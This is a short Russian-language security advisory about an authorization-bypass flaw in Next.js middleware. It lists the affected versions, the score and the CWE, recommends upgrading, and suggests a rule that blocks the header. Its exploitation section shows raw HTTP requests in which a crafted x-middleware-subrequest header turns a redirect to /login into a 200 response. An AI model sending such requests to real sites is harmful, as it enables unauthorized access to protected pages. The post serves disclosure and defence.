За последние сутки в сети появилось более 13 публичных эксплойтов на критическую уязвимость в фреймворке
Next.js, позволяющую злоумышленникам обходить проверки авторизации в middleware.Проблема связана с некорректной обработкой внутреннего заголовка
x-middleware-subrequest, который используется для предотвращения рекурсивных запросов и бесконечных циклов в middleware. ❗️ Уязвимы все версии до 14.2.25 и 15.2.3. Настоятельно рекомендуем обновиться.
Middleware (промежуточное или связующее программное обеспечение) — это компонент программного обеспечения, выполняющий обработку запросов и ответов в конвейере приложения.
Метрики
Base Score: 9.1
CWE: CWE-285
Подробности эксплуатации
Если в запросе присутствует заголовок x-middleware-subrequest с нужным значением, то middleware может быть пропущен, и запрос будет направлен непосредственно к конечной точке. Так можно обойти проверку авторизации.
Пример
1️⃣ При отправке запроса к
/dashboard:GET /dashboard HTTP/1.1
получаем ответ, который содержит перенаправление на страницу авторизации
/login:HTTP/1.1 307 Temporary Redirect
location: /login
Date: Mon, 24 Mar 2025 07:18:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 6
/login
2️⃣ Теперь нужно добавить заголовок, содержащий полезную нагрузку.
GET /dashboard HTTP/1.1
Host: <>
Upgrade-Insecure-Requests: 1
x-middleware-subrequest: <>middleware<>
В этом случае сервер отвечает кодом 200, что означает обход проверки авторизации.
HTTP/1.1 200 OK
Полезная нагрузка
В процессе исследования уязвимости было найдено множество уникальных значений заголовка x-middleware-subrequest — все зависит от уязвимой версии. Но у всех есть общая черта использования middleware как части значения.
Как защищаться
Написать блокирующее правило на использование заголовка x-middleware-subrequest.
